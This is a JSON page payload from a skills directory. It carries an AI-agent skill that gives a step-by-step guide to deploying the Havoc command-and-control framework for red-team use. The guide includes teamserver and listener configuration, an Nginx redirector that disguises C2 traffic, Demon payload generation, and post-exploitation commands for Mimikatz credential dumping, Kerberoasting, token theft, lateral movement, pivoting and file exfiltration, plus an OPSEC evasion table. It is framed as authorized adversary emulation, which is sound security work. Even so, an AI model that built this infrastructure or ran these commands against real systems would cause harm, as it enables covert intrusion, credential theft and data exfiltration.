[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B58YTK7649RECSQK8WDBD8":3,"skill-same:01M7B58YTK7649RECSQK8WDBD8":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":56,"commitSha":57,"skillDirectory":58,"forksCount":13,"repositoryHtmlUrl":59,"repositoryHomepageUrl":6,"ownerHtmlUrl":60,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":61,"install":62,"resources":75},"01M7B58YTK7649RECSQK8WDBD8","building-red-team-c2-infrastructure-with-havoc",null,"Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and OPSEC-hardened infrastructure for authorized red team operations. Use when standing up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation engagement.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: building-red-team-c2-infrastructure-with-havoc\ndescription: Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB\n  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and\n  OPSEC-hardened infrastructure for authorized red team operations. Use when standing\n  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation\n  engagement.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- havoc-c2\n- command-and-control\n- red-team-infrastructure\n- post-exploitation\n- adversary-emulation\n- demon-agent\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- GOVERN-1.1\n- MEASURE-2.7\n- MANAGE-3.1\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1583.001\n- T1090.002\n- T1105\n- T1055\n---\n\n# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n","# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":38,"description":7,"nist_ai_rmf":39,"mitre_attack":43,"d3fend_techniques":50},[25,26,27,28,29,30],"havoc-c2","command-and-control","red-team-infrastructure","post-exploitation","adversary-emulation","demon-agent","mahipal","cybersecurity","1.0",[35,36,37],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[40,41,42],"GOVERN-1.1","MEASURE-2.7","MANAGE-3.1",[44,45,46,47,48,49],"T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055",[51,52,53,54,55],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":68,"command":69},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":71,"command":72},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill building-red-team-c2-infrastructure-with-havoc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",true,[76,82,86,92,96,100,106],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"assets\u002Ftemplate.md","ASSET","资产文件",3873,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fassets\u002Ftemplate.md",{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fapi-reference.md","REFERENCE","参考文档",1869,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fapi-reference.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fstandards.md",2491,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fstandards.md",{"path":97,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fworkflows.md",8168,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fworkflows.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",6237,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fagent.py",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fprocess.py",12571,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fprocess.py",[111,119,126,133,140,147],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for 